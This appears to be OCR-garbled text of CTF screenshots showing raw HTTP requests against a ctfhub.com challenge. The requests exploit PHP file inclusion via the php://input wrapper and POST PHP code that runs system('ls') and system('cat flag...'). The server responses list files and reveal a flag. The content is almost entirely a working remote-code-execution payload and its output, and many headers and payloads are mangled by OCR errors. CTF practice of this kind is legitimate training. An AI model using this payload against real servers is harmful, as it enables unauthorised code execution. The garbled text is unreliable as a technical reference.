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Response

POST Mfie=php:/finput HTTP/1.1

Host:

challenge-0f51501681ddb4957 .sandbox.ctthub.com: 10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4, x84,
nv:808.0) Gecko/20100101 Firefox/80.0

Accept:
text/htmi,application/xhtmi+xml,application/xmi;q=0.9,image
/webp,"/";q=0.8

Accept-Language:
zh-CN,zh;q=0.8, . zh-TW,q=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en
q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Coolkie:
UM_distinctid=17a04adc10f600-088037c2ddcca1-4¢3f2d7
3-21000-17a04adc11058b

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: application/x-www-form-urencoded
Content-Length: 20

<?php system(is])?>

HTTP/1.1 200 OK

Server. openresty/1.18.3.2

Date: Sun, 18 Jul 2021 08:22:13 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 102

Connection: close

X-Powered-By: PHP/5.6.40

Vary: Accept-Encoding
Access-Control-Allow-Ongin: *
Access-Control-Allow-Headers: X-Requested-With
Access-ControlAllow-Methods: *

index.php

phpinfo.php

<hr>

i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
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POST /?fie=php:/finput HTTP/1.1

Host:

challenge-0f5150161ddb4857 .sandbox.ctfhub.com: 10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;
rv:88.0) Gecko/20100101 Firefox/89.0

Accept:

text/htmi, application/xhtmi+xmi, application/xml;q=0.8,image
/webp,"/*;q=0.8

Accept-Language:

zh-CN,zh;q=0.8,zh-TW.q=0.7 ,zh-HK;q=0.5,en-US:q=0.3,en
q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie:
UM_distinctid=17a04adc10f600-088937c2ddcca14c3f2d7
3-21000-17a04adc11058b

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: application/x-www-form-urdencoded
Content-Length: 22

<?php system(ls 2>

# Flflag222 06, FHFIH

HTTP/1.1 200 OK

Server: openresty/1.19.3.2

Date: Sun, 18 Jul 2021 08:22:32 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 176

Connection: close

X-Powered-By: PHP/5.6.40

Vary: Accept-Encoding
Access-ControlAlow-Ongin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *
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Response
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POST /?fie=php:/finput HTTP/1.1

Host:

challenge-0f5150161ddb49857 sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;
rv:88.0) Gecko/20100101 Firefox/80.0

Accept:

text/htmi, application/xhtmi+xml applcation/xml;q=0.9 image
/webp.*/*.q=0.8

Accept-Language:

zh-CN,zh;q=0.8,zh-TW,q=0.7 ,zh-HK;q=0.5,en-US;q=0.3.en
q=0.2

Accept-Encoding: gzip, defiate

Connection: close

Cookie:
UM_distinctid=17a04adc10f600-088937c2ddcca1-4c3f2d7
321000-17a04adc11058b

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: application/x-www-form-urencoded
Content-Length: 33

<?php system('cat ."ﬂag_22206t)? >

SRMFEKEILBEIERE:

POST /?file=php:
Host:
User-Agent:
Accept:

Accept-Language:

Accept-Encoding:

Connection:
Upgrade-Insecure-Requests:

Content-Length:

<?php system('cat flag.php') ?>

>

HTTP/1.1 200 OK

Server: openresty/1.19.3.2

Date: Sun, 18 Jul 2021 08:23:18 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 113

Connection: close

X-Powered-By: PHP/5.6.40

Vary: Accept-Encoding
Access-Control-Allow-Ongin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *

ctfhub{007e496fc735cb5cd271d800}
<hr>

i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
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